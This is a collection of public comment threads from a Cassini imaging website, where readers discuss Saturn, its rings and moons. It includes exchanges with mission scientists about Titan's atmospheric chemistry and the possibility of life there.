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hypothesis number 68783 as to why a hexagon; because no one told the civilization that lives in Saturn's atmosphere that the proper shape of a stop sign is an octogon.
jokes asside, love the image.

Crescent Mimas
NeKto      
09-15-2014  15:14:08

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great images keep coming.

Pan Alone
NeKto      
09-10-2014  11:12:53

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is Pan's orbit resonant with other objects in the Saturn system?
like the image!

Vortex and Rings
NeKto      
08-22-2014  06:41:45

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whenever i have a bad day, i can always find an image here to reduce the gloom.
robcole84      
07-08-2014  09:17:57

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Beautiful. Is it hexagonal just because Saturn is so large and the winds do not meet? Jupiter also has a hexagonal shape at the pole.
NeKto      
07-07-2014  10:15:03

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Gotta love it!

Cassini Tracks Clouds Developing Over a Titan Sea
Tim01      
08-20-2014  23:57:01

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Titan is going through evolution and could be proper place of extremophiles

The Eye of Saturn
ravi prakash dwivedi      
08-15-2014  12:21:58

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can u made a car for me...????
ravi prakash dwivedi      
08-15-2014  12:21:34

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HIIIIIIIII every body.....
NeKto      
08-08-2014  08:40:48

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The more i see from that pole, the more i wonder what the heck goes on up there. Where does that hexagon come from?
Ten Years Ago Today ...
jsc248      
07-22-2014  08:05:19

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Hi Carolyn,
When looking at these images from Saturn and it's moons, you cannot help but be in awe at the sheer vastness and grandeur of the Saturnian system. These images are not only full of great science but have a beauty that is almost impossible to imagine. I have been using this site since the beginning and I have never lost that fascination with Saturn and it's moons. As an observational astronomer I have always viewed the planet when in view and can still remember the first time I viewed it almost 40 years ago!
The images are a reminder of just how small we are here on Earth and of the beauty that circles all around us. You and the CASSINI team do an amazing job bringing us these amazing images and I thank you personally and I am sure for everyone who visits the site.
Thank you.
John Cave (UK).
NeKto      
07-19-2014  14:34:40

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I also thank Roy Miranda, for the poignant reminder we are all in this together, wherever we are. no matter what part of this little speck in the universe we call home.
carolyn      
07-12-2014  09:35:01

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Thank you, Roy Miranda, for reminding us how astonishing and paradigm-shifting it is that we are now at Saturn ...VERY far from Earth and ever farther from Burundi! (And thank you for your kind words, too)
carolyn      
07-12-2014  09:34:54

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Thank you, Roy Miranda, for reminding us how astonishing and paradigm-shifting it is that we are now at Saturn ...VERY far from Earth and ever farther from Burundi! (And thank you for your kind words, too)
Roy Miranda      
07-09-2014  07:04:05

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Dear Carolyn Porco,
I logged on to your site from the NASA Daily Digest site, what an amazing person you are, your way of expression, in putting Billions of countless words into a few words of covering what you want to get across as information, just brilliant.
I am just blown away with your article on Saturn, I writing to you from a place called Bujumbura, Burundi, right in the heart of Africa, where things move slow and easy and everyone tries not to draw to much sweat with anything, the sun comes up at 6am and goes down at 6pm, we are in Tarzans home, just the way the world should look, hardly any pollution and green jungles and abundance of fresh water lakes.
Reading your articles and looking out of the window is weird feeling, you taking us round Saturn and here I am sitting looking out the window and the people outside have not been to the next little village 5miles down the road. No electricity for hours some days and we off to Saturn mind blowing.
Keep up the exploration; I just cannot imagine what the next 10 years is going to bring about.
Red_dragon      
07-01-2014  09:16:12

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I've been a long time without posting here, but thank you sincerely, Dr. Porco for sharing your love of space exploration with us. May the remaining years of the Cassini mission be so fruitful and full of exciting discoveries as the previous ones.
PiperPilot      
07-01-2014  05:12:20

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You're right Carolyn. We're not in Kansas anymore and we can't go back. It has been a splendid ten years. Awesome in the true sense of the word. I thank you and the team for your dedication. You folks are the greatest.

I do have one wish. I wish I could have the Cassini build team make me a car. It would be so nice to have a vehicle that could go that many miles, last that many years without a service visit, and still not be recalled!!
rulesfor      
06-30-2014  22:19:22

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Thank you, Dr. Porco, for sharing your passion and wonder for all things Cassini. You have made this adventure at Saturn come alive for me and countless others in a way no one else possibly could have. I can't wait to read the eventual book that you've hinted at before and absolutely must write, please!!!
kentgibson      
06-30-2014  15:50:16

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Madamme Porco, Your recognition of the importance and significance of events in our space adventure distinguishes you from most. I am in awe of your eloquence and your devotion to your mission. We are truly blessed to have you traipsing around with we mortals.
Margarita Mc      
06-30-2014  13:59:05

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Thank you, Carolyn, for being able so eloquently to express the wonder that this amazing mission evokes.
The Day the Earth Smiled
jsc248      
06-27-2014  07:46:42

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Looking in awe at these images makes me realise how tiny and insignificant the Earth is in the grand scale of the Solar System and the universe beyond. The work done by the team at CASSINI in bringing these images is nothing short of sensational. The images of the Saturn system with it's amazingly powerful atmosphere, it's majestic ring system and the myriad of sensational moons will be awe inspiring for millennia to come.

I would like to thank Carolyn and the team for all their continuing efforts. The images are truly superb.

THANK YOU.

jsc248 (John).
pentagon5      
06-26-2014  09:52:40

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I have been wondering if the sky for Titanians living on the Saturnward hemisphere ever gets dark enough to see the stars. Obviously with its current atmosphere this is unlikely but even with an atmosphere with an earthlike transparency the "full" Saturn which would dominate the night sky would be much brighter than the full moon seen from earth. Posibly during those rare times when the sun is eclipsed by Saturn the sky would be dark enough although even then twilight leaking around Saturn's atmosphere or light scattered from the rings might be enough to interfere with stargazing.
ml39612      
05-21-2014  19:07:29

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I'm still interested in the possibility of a parallax image from Saturn's huge orbit. It could be of any stars that were photographed around fifteen years ago.

Of course the Pleiades images would be good. It needn't be that group, though it was recently measured from Earth's orbit and a comparison with the Saturn orbit would move astronomy to a whole new scale.
ml39612      
02-15-2014  16:21:14

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Divine, and transcendent. Makes Y3K
pergelator      
11-17-2013  11:59:43

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Why do the rings not match up where they cross the face of Saturn? Why is the face of Saturn not completely black? What is the bright line around most of the rim of Saturn? Why is there a black band outside the upper half of the bright ring?
rochelimit      
11-15-2013  13:27:55

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I wish I could see the same for Jupiter, Uranus, and Neptune ...
dholmes      
11-14-2013  05:53:34

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The difference from Voyager's "pale blue dot" and the Cassini photo of Earth is that with Cassini we have a strong perspective of scale with the rings of Saturn. Thus giving us a the "neighborhood effect" from one neighbor of the solar system looking out the kitchen window, if you will, to another across the backyard of space. Always in awe of Carolyn's work.
bmathew      
11-14-2013  02:23:44

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How in the shadow of Saturn bright ring image is overlaped?
bmathew
PiperPilot      
11-12-2013  13:22:51

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As inspiring as the imaging is, I have to admit my first feelings were not of the awe most embraced. Gazing at the tiny blue dot, against that vast black void all around it, I realized that we are a rather tiny target. Military training teaches to present the smallest target possible. Earth, our home, is doing it very well. Not perfect, but very very well. That, inspires great happiness in me.
Pipipot      
11-12-2013  10:43:08

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As I may add also, when you enlarge the blue dot, our moon is at 4 o'clock as it beams with her mother-blue dot to get picture taken by Cassini as well.
Pipipot      
11-12-2013  10:35:14

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What an amazing spectacle! We all became part of history as we glimpse the sky; the moment imprinted an event as Cassini carefully recorded in its database this blue dot we call home. An astounding enhancement of an embodiment in the universe; pictured by a human crafty handiwork called Cassini. Congratulations to you Carolyn and your team for a well-deserved accomplishment!

Arrival and Departure at Phoebe
jsc248      
06-27-2014  07:39:20

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Hi Carolyn,
I have been following these amazing images for many years from here in the UK. My own personal favourite image came from September 2005. It is of the moon Hyperion and came out under the caption of Odd World. I had to agree with that too, this amazing image could very well be of a giant sponge!! Take a look for yourselves here and tell me what you think. http://www.ciclops.org///view_media/7916/Odd-World it would be great to hear which is everyone else's favourite image from CASSINI.
Keep up the amazing images Carolyn and team. We all look forward to many more years of amazing images to come
jsc248 (John to my friends!!)
Michael1967      
06-12-2014  01:03:53

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Oh wow!
Incredible Images! Im looking for the next Saturn Sensation!
Nothing could top the Cassini Mission!

Go for 10 more great years of amazing pictures and informations!

Happy birthday! You could be so proud!
Greetings from Germany to the Cassini Team and to Saturn. ;-)
CARLOS R      
06-11-2014  15:02:40

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This is so incredible! I still remember watching the live bradcast through the Internet when Cassini entered orbit around Saturn 10 years ago.
Wonderful job! Congratulations to you all Cassini team members!
kali.khelly@verizon.net      
06-11-2014  14:04:16

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Fantastic! I had the good fortune to attend the big event in Pasadena. Those 97 minutes between communications didn't do my acrylics any good. Haven't worn them since.
Thank you for all of delightful look-sees. I look forward to the future events and moving commentary. Team, you are the BEST!
NeKto      
06-11-2014  13:27:06

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this ride has been so much fun i didn't realise it has been going on for ten years. this is one great image in a decade long string of great images.
and more to come!

Gored of the Rings
NeKto      
06-10-2014  08:02:31

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Is there a wizard on Prometheus? for some reason the name Landalf comes to mind. another 'magical' image from the wonderful robot. the Cassini probe has made marvelous images routine. i wonder what i am going to fill the time i have been spending here with when our camera toting friend is finally retired.

Round and Round
NeKto      
05-05-2014  14:30:49

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is there any measurement that tells us what the atmospheic presure is at the cloud tops? some of Cassini's images suggest cloud banks that are impossibly tall by Earth stadards. i wonder what the presure difference is from top to bottom of some of those cloud banks.
raketenflugplatz      
04-29-2014  00:20:40

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looks like a pastor's hat...
enceladus5      
02-03-2014  13:02:05

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what a beautiful shot of saturn. reminiscent of satellite images of our own planet.
NeKto      
02-03-2014  12:45:13

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better picture.
Common Questions
sustayne      
05-02-2014  10:23:01

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Has any of the research by Ames Laboratory researcher, Dr. Norman Bergrund, ever been verified or otherwise as a result of the Cassini or similar missions to Saturn?
huskydusky      
08-31-2012  08:21:22

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Hello,
This "comment" is a question as I can't find any place to ask questions in the site.
Is there a place I can submit a question regarding Titan?
HUGO       
06-24-2012  15:11:54

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I LOOK FORWARD TO THE CASSINE SPACECRAFT LAST WELL TO THE END OF HIS MISSION IN THE YEAR 2017 , WE WILL GO MEANWHILE YOUR AMAZING DISCOVERIES AND IAMGES .
pentagon5      
04-05-2012  09:11:14

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Whenever Cassini flies by Titan (or any of the other bodies orbiting Saturn) it exchanges momentum with the body therby altering the course of both. I know the change for Titan is miniscule but what is the actual value? Cm? microns? I suppose it would be more for the smaller bodies. Since the flybys of Titan are distributed around its globe they probably would tend to cancel each other out leaving little net affect. For Enceledus many of the flybys have been over the south pole so they would add to each other. It would be interesting to calculate the total effect the whole Cassini mission will have on the Saturnian system as of Sept. '17 in terms of how far the various bodies will be from where they would have been had Cassini never been there.
ml39612      
03-26-2011  16:42:14

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Does the team plan to photograph the Sisters again as the expected 2017 mission lifetime approaches? The purpose would be to resolve, if possible, some parallax estimates in comparison with the 2008 image of the same cluster. If by any serendipitous chance the results were successful it would add great confidence to estimators of the scale of the nearby universe.
carolyn      
07-17-2010  11:00:34

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girlspace: I believe the Saturn eclipse we observed in September 2006 lasted about 12 hours. That's b/c Cassini was far away from Saturn and moving (comparatively) very slowly. We deliberately put Cassini out there to observe this event b/c we knew we'd get a phenomenal look at all the rings...and we did!
carolyn      
07-17-2010  10:58:29

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ebp: It would take way too much energy (ie, fuel) to do anything like that & we want that fuel for a vigorous program of observation until the very end. However, I would have loved it! I would have loved to land on the north or south pole of Pan. How futuristic is that?!!
epb      
07-17-2010  09:00:55

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Carolyn,
Instead of crashing Cassini into Saturn upon conclusion of its scientific mission, could Cassini someway be slowed down and merged into the ring system plane for a close up investigation of the ring debris? Maybe it could be captured and placed in orbit around one of the icy shepard moons?
ed
girlspace      
06-25-2010  06:44:40

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How long is a eclipse in saturn eclipsing.I mean 15 min,1 hour or maybe 1 day?

can anyone give me a responsefor it
carolyn      
06-14-2010  15:57:58

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Aishwarya: The `night side' of Saturn is illuminated by ring shine. So you see a ring pattern in silhouette against the dimly lit planet.
Aishwarya      
06-14-2010  04:10:55

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Saturn is eclipsing the sun. The side we see is supposed to be the night time on Saturn, if so, why do we see it bright. More so, why do we see a ring pattern on Saturn's body?

http://ciclops.org/view.php?id=2230&js=1
Aishwarya      
06-14-2010  04:07:26

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Saturn is eclipsing the sun. The side we see is supposed to be the night time on Saturn, if so, why do we see it bright. More so, why do we see a ring pattern on Saturn's body?
This si given in the image in the following link :
http://ciclops.org/view.php?id=2230&js=1

Can anyone tell me the reason for this brightness?
mikel137      
12-23-2009  17:11:18

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At six years, Cassini has accompanied Saturn over a radian of that planet's orbit around the Sun-at least the same distance along the periphery as the radius of the orbit. Sort of like dividing h by 2*pi. Which is why it seems the ring spokes could have something to do with momentum conservation along the ring orbits.
mikel137      
12-11-2009  19:43:20

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The vast diameter of Saturn's orbit and the excellent cameras on your Orbiter make this amateur astronomer lust for parallax measurements. It would take fifteen years to obtain the measurements. Images now of rich, relatively nearby fields such as the Plieades would be a quick start. Images of the same fields fifteen years from now would complete the first sets of parallax images. Fields should include recognizable distant background objects too.
stmmr      
04-13-2009  10:14:52

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04/13/2009

am not clear how Cassinis ..degrees above the ring-plane or phase, angle of degrees and the distance of km from Saturn or the image scale is km per pixel etc.. relate to what I am interested in- thats the sight-angle of Camera to a Stars-image on A or B ring & Cameras distance from the image (see my Sketch I sent you before- please note the tilt at 26.73 degrees was incorrectly shown).



I am sure I can figure that out if I know where to look for a description of the terms above ring-plane, below ring-plane, lit side, un-illuminated side, phase, angle and the distance from Saturn etc along with a 3-D diagram which shows the orbit of Cassini around Saturn.



I cant tell (from these Photos I sent you) whether the Camera was trailing Saturns Orbit when these Photos were taken or was it inside (between Sun-Saturn) or outside of Saturns orbit in Sun-Saturn line at a specific distance above Sun-Saturn plane ?



The companion-Sun I am interested to see (or its image) can be seen ONLY if Camera is positioned close to Saturns magnetic-North pole and look down towards our-Sun at an angle of Approx. 87 degrees 30 minutes (to the Sun-Saturn line).



I understand in August 2009 Saturn will be at the Equinox- that means it is very close to Equinox at this time. So, now or during the next few-months if we can position the Camera near (or close) on top of Saturns magnetic-North (or South-pole) and sight its view at about 87.5 degrees (+ or a degree) below Sun-Saturn line we should be able to spot our companion-Sun (at a specific-distance below our-Sun) and we can catch its image on Saturns ring (B or A).



Can we take a shot in this direction any time soon ?



Please advice Who should I contact to get this done !



Mikki
stmmr      
04-12-2009  07:34:59

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04/12/2009



Please tell me where can I find a diagram to visually find an answer to:



(1) What the statements below mean (visually) with respect to Saturn & Sun-Saturn plane or line? Or

(2) Where is the Camera location (distance & sight-angle) with respect to Saturn or Star or Sun-Saturn line ? And

(3) Where is Saturn in its Orbit when these Photos were taken (or how far from Aphelion or how close to Equinox.)?

(4) What is 58 degrees above ringplane & phase angle of 69 degrees- how do these angles relate to one another?

(5) How to use Image scale 54 km per pixel or 3 km per pixel and why so much scale difference ?

(6) What is sunlit side or 19 degrees below ringplane? What is the phase-angle for this ?



A. The view, which looks toward the unilluminated side of the rings from about 58 degrees above the ringplane, was obtained at a distance of approximately 825,000 kilometers (513,000 miles) from Saturn and at a Sun-Saturn-spacecraft, or phase, angle of 69 degrees. Image scale is 54 kilometers (34 miles) per pixel.



B. The views were acquired about half an hour apart as Cassini looked toward the unlit side of the rings from about 33 degrees above the ringplane.

The images were taken in visible light with the Cassini spacecraft narrow-angle camera on Sept. 26, 2006 at a distance of approximately 515,000 kilometers (320,000 miles) from Saturn and at a Sun-Saturn-spacecraft, or phase, angle of 102 degrees. Image scale is about 3 kilometers (2 miles) per pixel.



C. This view looks toward the unlit side of the rings from about 35 degrees above the ringplane. The stars image is partly saturated, causing the vertical lines that extend up and down.

The image was taken in visible light with the Cassini spacecraft narrow-angle camera on Sept. 26, 2006 at a distance of approximately 543,000 kilometers (338,000 miles) from Saturn and at a Sun-Saturn-spacecraft, or phase, angle of 106 degrees. Image scale is about 3 kilometers (2 miles) per pixel.



D. This view looks toward the sunlit side of the outer A ring (just interior to the Encke Gap) from about 19 degrees below the ringplane. Bright Aldebaran is over exposed, creating thin vertical lines on its image.

The image was taken in visible light with the Cassini spacecraft narrow-angle camera on Sept. 9, 2006 at a distance of approximately 358,000 kilometers (223,000 miles) from Saturn. Image scale on the sky at the distance of Saturn is 2 kilometers (1 mile) per pixel.



Thank you.



Mikki


carolyn      
04-09-2009  09:42:56

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Tommy: Good catch!! And it would be pretty spectacular, wouldn't it, to have it hanging over our heads at that distance?! Thanks. We'll fix it.
Tommy      
04-08-2009  06:28:18

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I believe this is a misprint (from the 1st paragraph), but you'd think we'd notice if Saturn moved into the moon's orbit...
"When Saturn appears overhead at midnight in our night sky, it is typically about 1.3 billion kilometers (808,000 miles) away."
On the other hand, it'd be a lot less expensive to study!!

The Maelstrom
raketenflugplatz      
04-29-2014  00:21:50

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looks much better than Sauron's eye...

The Wisps of Dione
raketenflugplatz      
04-29-2014  00:18:39

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as usual... beautiful and mysterious...
NeKto      
02-20-2014  07:19:16

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a lot of very interesting geological type forces out there in sector six. and so many of the results are so pretty to look at. science and aesthetics as one.

Me and My Shadow
NeKto      
04-28-2014  11:46:19

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Nice shot. love the level of detail!

Circles on Saturn
NeKto      
04-14-2014  08:50:15

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Cicles on Saturn? that big thing doesn't look like a circle to me. (could be my bizare vision is acting up again) has there been any more information to help understand what produces/sustains the hexagon? you did get a very good picture of it here.

Prometheus' Handiwork
NeKto      
04-02-2014  09:43:35

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i have fun with so many of the images here. anyone else visualize Prometheus as a tooth paste tube squeezing out the F ring?

Mimas and Spokes
NeKto      
03-20-2014  06:01:42

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i am surprised i haven't seen a coffee table book of Cassini images at the book store already. i second John's suggestion.
jsc248      
03-19-2014  05:31:09

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I was looking through all these amazing images Carolyn and I was thinking, it is getting close to the 10th anniversary of this amazing probe and I wondered whether an album of some-kind might be an idea. Say the teams or your own favourite images. If it is possible then please make it a downloadable, or purchasable, album. Thanks John.

Crescent Saturn
NeKto      
03-17-2014  11:30:31

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another wonderful image. i like the ghostly veil the rings appear as in this one. it will be very difficult for any body of work to surpass the imagery Cassini has brought us so far. can we nominate a robot for photographer of the century? certainly one of the best cameras ever. incredible subject matter at almost every turn. most important, one heck of a team calling the shots from a light half hour away.

Dusty D Ring
NeKto      
02-26-2014  07:41:00

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I'll bet those particles have a short orbital period. sad to read the end of mission is less than 4 years away. our capable robot friend is still giving us fantastic images and wonderful science. wish it could keep going for another decade or more.

Splitting the F Ring
macrovar      
02-25-2014  19:24:49

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This image in comparison to http://www.ciclops.org/view_media/37585/F-Ring-Zoo raises the question, to what extent is there uniformity of motion of the particles in the F ring? Is the separation a result of the motion by Prometheus or is the converse true instead where this image is actually depicting a magnetic force causing the periodic collisions.
NeKto      
02-14-2014  08:58:09

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another wonderful image. anyone hiding in there? i was wondering what the orbital periods are for ring particles? there must be quite a wide range. with such a short rotation period, is there a place in the rings where the orbit is Saturn synchronous?

The Tale Continues...
enceladus5      
02-03-2014  13:03:56

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another kodak moment from cassini. the two most likely places for microbial life in the solar system captured together. Wow!!!

Saturn's Polar Jet
NeKto      
02-01-2014  07:25:16

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i keep wondering if there might be some substructure that maintains this hexagon. perhaps the offset of the magnetic axis from the rotation axis? that might stir things up enough to make the north pole look like the top of a blender.
no matter what the cause, the phenomenon is fun to look at and fun to speculate about.
Gort      
12-23-2013  21:36:16

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Gravitational resonance?
NeKto      
12-17-2013  14:15:56

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what could be maintaining that shape? any viable hypotheses out there?

Titan's Polar Atmosphere
NeKto      
01-18-2014  16:38:58

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it is such a small object with such low gravity yet it holds one of the deepest atmospheres of any solid body in our solar system.
fascinating!

The Synchronicity of Rhythms
Dragon_of_Luck_Mah_Jonng1971      
01-02-2014  13:56:59

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An image of Saturn's rings with a lot of details especially the vertical structure.

Painted Lines on an Ornament
Dragon_of_Luck_Mah_Jonng1971      
01-02-2014  13:50:33

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A fascinating color image of the north polar hexagon.

Yin and Yang
NeKto      
12-28-2013  22:27:16

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for me, this moon is more fascinating than Enceladus. i understand processes that produce geysers. i can wrap my mind around the process that produces the color dichotomy. it's that equatorial mountain range that really gets me. the leading hypothesis i've seen is sound, but i wonder if there is more to it. i remember Arthur C. Clarke predicting that mountain range. as Carolyn Porco said "How did he know?"

'Tis the Season
ultomatt      
12-23-2013  12:12:06

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A truly awesome image! Merry Christmas and thanks for all of the amazing science and of course, imagery!
saarmason      
12-23-2013  11:49:54

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Wow. Been going through the archive and each picture is Amazing! This latest one is awesome - again! Thank you for sharing and Merry Christmas. George S. NY

Saturn's Subtle Spectrum
saarmason      
12-23-2013  11:45:10

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Wonderful Christmas Gift sharing this Image of Saturn and her little Moon. I feel like I'm looking out a window of a space ship and gazing at this awesome Planet. How GREAT is it to be seeing such crisp, sharp and colorful planetary images? Thank you, Carolyn and your Team, for sharing such beauty with us again this year! Merry Christmas to all. George S. NY

Miranda's Geologic History (variety of terrain)
Dragon_of_Luck_Mah_Jonng1971      
11-24-2013  18:45:07

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I suppose that at the grooved terrain of Miranda shown here happened ( is happening ? ) a kind of activity similar to the one on Enceladus and Europa, but not on the same scale.

The image of Saturn seen from above is amazing !
______________________

Greetings from the Dragon_of_Luck

Impressionistic Saturn
NeKto      
11-23-2013  10:18:00

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like so many other images here, i really like this one.

Melanthius at Dusk
jsc248      
11-14-2013  07:23:18

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It's amazing to see just how many large craters this little satellite has. Some wonderful science to be had from images such as this, there are a number of fracture lines emanating from Herschel. It does still look like the Death Star from Star Wars though!!

The Subtle Jet
jsc248      
11-14-2013  07:20:12

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Beautiful detail in the ring structure. Superb image!!
Have we discovered evidence for life on Titan?
Norm Lane      
11-13-2013  14:25:59

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Has this discussion been shutdown? No entries for two years.
Plutonium      
11-11-2011  09:36:47

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I am curious that with all the discussion of acetylene, ethane to methane, there is no mention of the necessary intermediate ethylene (ethene). If one see important compounds at each oxidation level here (methane, formaldehyde, formic acid, carbon dioxide) it would seem that ethylene would play a major role in your acetylene, ethylene, ethane, methane hydrogenation energy scheme. Where can I get more info on the relative amounts of these on Titan?
John
Colin Robinson      
06-26-2011  17:11:50

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Chris,

A question regarding the scenario where H2 and acetylene get incorporated in a solid precipitate...

As you've mentioned, an acetylene-hydrogen mixture is a source of chemical energy. So, what happens to that energy in the long term as the precipitated materials keep building up? Does it simply sit there indefinitely? Or, could some of that energetic mixture of hydrogen, acetylene (and whatever else) eventually find its way down to the subsurface liquid water-ammonia environment, and provide an energy source for chemistry or biology there?

Colin
geopilot      
03-31-2011  14:34:15

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years ago at the jpl huygens probe initial results conference i proposed that we look at titan as a possible post greenhouse gas life collapsed carbon saturated world rather than an early stage bio evolving planet.

people chuckled.

how does your acetelyne based life scenario fit into that possibilty as an adaption of an earlier thriving life world where that life evolved into something adapted to a post greenhouse carbon saturated world?
TitanExplorer      
10-23-2010  12:37:27

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If a submarine went below the surface of one of Titans lakes and explored its bottom itd indeed revolutionize our current understanding of Titan.
The submarine would simply map the entire bottom of the lake and then transmit all the information onto a sattellite which transmits the information to the unmanned mothership which in turn transmits it to Earth.
I think one possible scenario for sending an unmanned vehicle to Titan which can carry multiple sattellites would involve the use of an unmanned mothership which could be controlled by a tiny brain which has been grown in a laboratory and trained to steer aircraft and space vehicles which would otherwise be difficult for human beings to maintrain control over.
TitanExplorer      
10-18-2010  05:27:57

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I believe that it simply is a symptom of delusions of grandeur to consider that there is some kind of planetary body somewhere which does not have biological compounds in some form. Yet I am very well aware that this article is not saying that there is no life on Titan. What is being asked , is if there is. I have my own belief , and it may seem extreme to most of you so I keep it to myself and do not ask others to aggree. I believe that there is not only life on Titan , but people. I also believe the same about Mars , the Moon and so on. Since people can visit each other on this planet , it is only reasonable and perfectly logical to assume that advanced civilizations on Earth visited other planets in this solar system and perhaps behound in mankinds remote past , and that the same may be happening on Earth today. I dont consider life to be original to Earth , because I believe that the Earth does not have the ability to generate multicellular organisms solely on its own terms - they all arrived here one way or another. With single - cellular organisms there may be another matter. There are , in my honest to goodness opinion , matter of factly , no such planetary bodies as those which may not have life in some form on their surfaces.
It is my belief on the extent of physical evidence that life exists abundantly not only in this solar system but beyound , that the evidence itself is cyclopean in scope and magnitude. In other words , its infinite. So has the Law determined , that no planetary body is to be permitted to be born , which can not produce life , consciousness or some kind of biological compounds , etc. in some form. This is simply because truth is truth.
That is the Law.
Colin Robinson      
10-11-2010  18:32:46

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Chris

Is this a possibility to consider in planning future missions to Titan - a naked gene able to catalyse, or a naked catalyst able to propagate itself - that might made of something other than RNA?

Colin
cmckay      
10-04-2010  16:58:23

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Colin, it is certainly possible to see life as catalysts way of propagating themselves. If we view it this way then a catalyst needs a system that can incorporate energy and create new catalysts. Catalysts are produced by the rhibosomes in cell using energy derived from ATP and based on construction instructions encoded in the DNA and translated into RNA. In other words a cell. Catalysts can make chemical reactions go but they cannot make replicate themselves. At least that is the way it is with life today. The catalysts are made of protiens and the molecule the encodes for their formation is DNA. However it may not have been this way always. These is speculation that before there was DNA/protien life there was what is known as the RNA world. RNA can act both as genetic material and as a catalyts. So in principle there could have been a simple type of life that was effectively a naked gene that could act as a catalyst, or viewed another way a naked catalyst and could also encode its own replication. I think we would still call this life. -Chris
carolyn      
10-04-2010  11:35:04

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Colin,

Very good point, if you ask me. Let's see what Chris has to say about it.
Colin Robinson      
10-03-2010  18:07:11

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Chris,

Your article mentions that when we eat chocolate, we use catalysts to get energy out of it,

Which (by the Occam's Razor principle) seems to support the conclusion that Titan more likely just has catalysts, rather than catalysts plus chocolate-eaters making use of them.

But maybe there is another way of thinking about the relation between organisms and catalysts. Rather than living cells using catalysts, what if we think in terms of the catalysts using the cell as a space to work in?

Natural carbon-based catalysts here on Earth seem to need these little workshops to do their catalysing.

To assume that Titan's catalysts need no such spaces is to assume that Titan's ones are smarter, at least in the sense that we speak of smart machines.
TheAnt      
08-08-2010  04:31:02

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Thank you Mr Chris McKay for the explanation that carbon isotope measurements might not be able to provide one answer if it is chemical catalysts or ongoing prebiotic chemistry that would explain the appearant lack of acetylene and ethane.

I am afraid I have to agree with you illexsquid, too bad about the reporting from the Telegraph and others, such writers cause more harm than good.

Well the fact still remains that Titan is the most interesting world in the solar system, I am personally convinced that such a grand chemistry lab as Titan could give us important clues both for the origin of life on Earth and possibly also for a different genesis elsewhere (Methane, ethane or acetylene around a red star for example).
So yes, we do need to get some good thinking done on how to get a well equipped orbiter / lander mission for Titan. (I advocate multiple landers to spread the risks for such a long mission, than over a one shot blimp/ballon. Too many uncertainies, not to mention tholins raining down and sticking to the ballon having it crash in a short time.)
cmckay      
07-11-2010  22:13:26

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Colin, we are not sure about Titan's past. Prior to the Cassini/Huygens mission we assumed that Titan's atmosphere was like we see today for the age of the Solar System (3.8 Gyr). The fact that photochemistry is destroying methane implied a very big initial inventory and a concomitant pile up of ethane the main photochemical product. Hence the notion of a global ocean on Titan. Now that we see there is not ocean we're a bit puzzled as to where the methane is coming from and where the ethane is going. An easy answer for the methane is some sort of volcanism - cryovolcanism. But no good evidence for this has not been seen. I have been thinking lately that maybe Titan was a snowball world (like Triton) until recently. What we are seeing now is a recent runaway greenhouse of sorts. In this case life, or chemistry, would not have had very long to get going... Too many unknows. -Chris
Colin Robinson      
07-06-2010  05:49:57

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Questions for Chris... I know there has been some discussion about how Titan might change in the future. But what about Titan in the past? If its atmosphere used to be substantially richer in hydrogen atoms (more H2, and perhaps NH3 instead of N2) what would that mean for how easily acetylene and ethane could be hydrogenated into methane? Could less effective catalysts have done the job, back then, than would be required now? And would molecules with catalytic properties have been more, or less, likely to form in such conditions? Has anyone experimented with this? Is it possible that an evolutionary scenario -- more sophisticated catalysts gradually appearing as an adaption to decreasing availability of hydrogen -- will turn out to be the most economical explanation? Even though that scenario of course implies existence of systems capable of evolving, and thus meeting one definition of life?
larryy      
07-01-2010  16:48:03

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sobrient60 (Jun 9, 2010), robin (Jun 9, 2010 at 9:09 AM): Possibly most here are aware of it, but I thought it worth mentioning the (Farmer et al. 1986) results examining the likelihood of formation of autocatalysis in random reaction sets. Quoting from the abstract, "When the initial set exceeds a critical diversity, autocatalytic reactions generate large molecular species in abundance. Our results suggest that the critical diversity is not very large." Basically, cycles in the graph of chemical reactions become very likely, very quickly with graph node and edge counts. And then it's off to the evolutionary races. It's an encouraging result for finding at least simple life in even the starkest of environments. As long as there are any chemical reactions proceeding, and clearly there are on Titan, then there's at least some hope. Kauffman published a good deal more on this and related topics.

Farmer, J. Doyne, Kauffman, Stuart A. and Packard, Norman H. (1986) Autocatalytic replication of polymers. Physica D 22:1-3, 50-67. DOI: 10.1016/0167-2789(86)90233-2
cmckay      
06-30-2010  10:20:59

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NeKto, the idea that ice might act as the catalyst is interesting and something to check out in the laboratory. We are planning to do some experiments to see if we can get C2H2 and H2 to react in Titan simulations so ice is something we will inevitably have in the mix. We'll try a control with just ice (no Titan tholin) and see what we get. -Chris
NeKto      
06-29-2010  15:34:36

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i hate to say this, but i have come up with a hypothesis that explains the atmospheric chemistry near Titan's surface. No biology is involved.
i was doing some thought experiments along the lines of metal catalysts when i remembered that ice has different forms in cryogenic temperatures than it does at our "Earth normal" range. what i came up with is the possibility that water ice might be a catalyst for the reactions that "hydrogenate" the unsaturated hydrocarbons produced in the upper atmosphere.
if the surface of the ice has a crystalline structure that places oxygen atoms on the surface in proper alignment, there might be sufficient attraction to form hydrogen bonds, thus forming weak bonds with the hydrogen gas in the atmosphere. Carbon is reactive with both oxygen and hydrogen. if there is sufficient attraction, the unsaturated hydrocarbons might "stick" to the molecular surface already "coated" with hydrogen. if this catalyzed a reaction, is should put heat into the ice "rocks" that is not in the tar sands.
At night this should make the ice warmer than the tar.
is there a way to test that?
i do not know enough cryo-chemistry to know if this hypothesis is feasible, but i know that, if it is, several possible impurities in the ice might make it more likely. Alloying agents if you will. So, if you can shoot this one down, please do. i would rather find some simple biology.
girlspace      
06-25-2010  06:32:36

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thank you cmckay, so that mean that maybe in nearly future peoples can live in titan i'm right? all goods to everyone
NeKto      
06-16-2010  13:19:37

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Thank You Chris McKay.
as i said earlier, fascinating discussion!
Energy availability, i had not considered that. It is another important factor determining the possible rate of evolution and the complexity of life. It does place a rather low ceiling on any hypothetical biological activity.
another factor i suspect might limit the possibility of life on Titan is, what are available for what life here utilizes as micro nutrients? Life here has the vast majority of the periodic table available. as an example we need everything from iodine to zinc to stay healthy. And liquid water is far closer to a universal solvent than liquid methane.
But any process i can hypothesize, living or not, requires chemistry more complex than what can be expected from cryogenic water ice, hydrocarbons, nitrogen and ammonia. What else is out there? Is there any information on what "impurities" are in those ice boulders or the "tar sands" we see in the Huygens images?
How ever the "hydrogenating" of carbon compounds near the surface is being accomplished, the process must be using something to catalyze the chemistry. There has to be something very interesting going on.
Craig      
06-16-2010  09:59:38

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That the H2 is more an analog to O2 than to CO2, ie that it's a breathing/energizing gas for animal life, is indeed what I was saying.

And the reaction, C + 2H2 --> CH4, should tend to replenish Titan's methane.

